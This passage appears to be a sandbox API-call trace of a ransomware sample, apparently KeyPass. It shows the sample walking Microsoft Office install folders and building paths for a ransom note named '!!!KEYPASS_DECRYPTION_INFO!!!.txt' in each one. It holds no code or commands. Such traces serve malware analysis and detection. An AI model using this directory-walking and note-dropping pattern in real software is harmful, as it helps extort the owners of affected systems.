Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.153] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.154] GetFileType (hFile=0x150c) returned 0x1 [0275.154] CloseHandle (hObject=0x150c) returned 1 [0275.154] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.155] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.155] GetLastError () returned 0x3f0 [0275.155] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\Analysis\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\Analysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.155] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\Analysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.155] GetFileType (hFile=0x1510) returned 0x1 [0275.156] CloseHandle (hObject=0x1510) returned 1 [0275.156] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.156] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.156] GetLastError () returned 0x3f0 [0275.156] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\SOLVER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\SOLVER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.156] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Library\\SOLVER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.156] GetFileType (hFile=0x1514) returned 0x1 [0275.157] CloseHandle (hObject=0x1514) returned 1 [0275.157] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.157] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.157] GetLastError () returned 0x3f0 [0275.157] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\LogoImages\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\LogoImages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.157] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\LogoImages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.158] GetFileType (hFile=0x1518) returned 0x1 [0275.158] CloseHandle (hObject=0x1518) returned 1 [0275.159] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.159] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.159] GetLastError () returned 0x3f0 [0275.159] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.159] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.159] GetFileType (hFile=0x151c) returned 0x1 [0275.160] CloseHandle (hObject=0x151c) returned 1 [0275.160] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.160] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.160] GetLastError () returned 0x3f0 [0275.160] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.160] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.161] GetFileType (hFile=0x1520) returned 0x1 [0275.161] CloseHandle (hObject=0x1520) returned 1 [0275.162] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.162] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.162] GetLastError () returned 0x3f0 [0275.162] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\images\\default\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\images\\default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.162] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\lpc.win32\\images\\default\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.163] GetFileType (hFile=0x1524) returned 0x1 [0275.163] CloseHandle (hObject=0x1524) returned 1 [0275.163] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.163] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.163] GetLastError () returned 0x3f0 [0275.163] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Media\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Media\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.163] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Media\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.164] GetFileType (hFile=0x1528) returned 0x1 [0275.164] CloseHandle (hObject=0x1528) returned 1 [0275.165] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.165] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.165] GetLastError () returned 0x3f0 [0275.165] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.165] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.194] GetFileType (hFile=0x152c) returned 0x1 [0275.194] CloseHandle (hObject=0x152c) returned 1 [0275.195] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.195] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.195] GetLastError () returned 0x3f0 [0275.195] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.195] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.196] GetFileType (hFile=0x1530) returned 0x1 [0275.197] CloseHandle (hObject=0x1530) returned 1 [0275.197] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.197] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.197] GetLastError () returned 0x3f0 [0275.197] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.197] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.199] GetFileType (hFile=0x1538) returned 0x1 [0275.199] CloseHandle (hObject=0x1538) returned 1 [0275.199] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.199] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.200] GetLastError () returned 0x3f0 [0275.200] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.200] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.200] GetFileType (hFile=0x153c) returned 0x1 [0275.201] CloseHandle (hObject=0x153c) returned 1 [0275.201] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.201] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.201] GetLastError () returned 0x3f0 [0275.201] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.201] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.201] GetFileType (hFile=0x1540) returned 0x1 [0275.202] CloseHandle (hObject=0x1540) returned 1 [0275.202] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.202] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.202] GetLastError () returned 0x3f0 [0275.202] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.202] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.203] GetFileType (hFile=0x1544) returned 0x1 [0275.203] CloseHandle (hObject=0x1544) returned 1 [0275.204] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.204] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.204] GetLastError () returned 0x3f0 [0275.204] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.204] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.205] GetFileType (hFile=0x1548) returned 0x1 [0275.206] CloseHandle (hObject=0x1548) returned 1 [0275.206] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.206] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.206] GetLastError () returned 0x3f0 [0275.206] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.206] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.207] GetFileType (hFile=0x154c) returned 0x1 [0275.207] CloseHandle (hObject=0x154c) returned 1 [0275.208] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.208] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.208] GetLastError () returned 0x3f0 [0275.208] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.208] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.209] GetFileType (hFile=0x1550) returned 0x1 [0275.209] CloseHandle (hObject=0x1550) returned 1 [0275.210] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.210] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.210] GetLastError () returned 0x3f0 [0275.210] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.210] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.211] GetFileType (hFile=0x1554) returned 0x1 [0275.212] CloseHandle (hObject=0x1554) returned 1 [0275.219] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.219] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.219] GetLastError () returned 0x3f0 [0275.219] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.219] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.219] GetFileType (hFile=0x1558) returned 0x1 [0275.220] CloseHandle (hObject=0x1558) returned 1 [0275.220] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.220] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.220] GetLastError () returned 0x3f0 [0275.220] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.220] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.221] GetFileType (hFile=0x155c) returned 0x1 [0275.221] CloseHandle (hObject=0x155c) returned 1 [0275.221] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.221] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.222] GetLastError () returned 0x3f0 [0275.222] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.222] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.222] GetFileType (hFile=0x1560) returned 0x1 [0275.223] CloseHandle (hObject=0x1560) returned 1 [0275.223] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.223] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.223] GetLastError () returned 0x3f0 [0275.223] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.223] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.223] GetFileType (hFile=0x1564) returned 0x1 [0275.224] CloseHandle (hObject=0x1564) returned 1 [0275.224] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.224] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.224] GetLastError () returned 0x3f0 [0275.224] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft 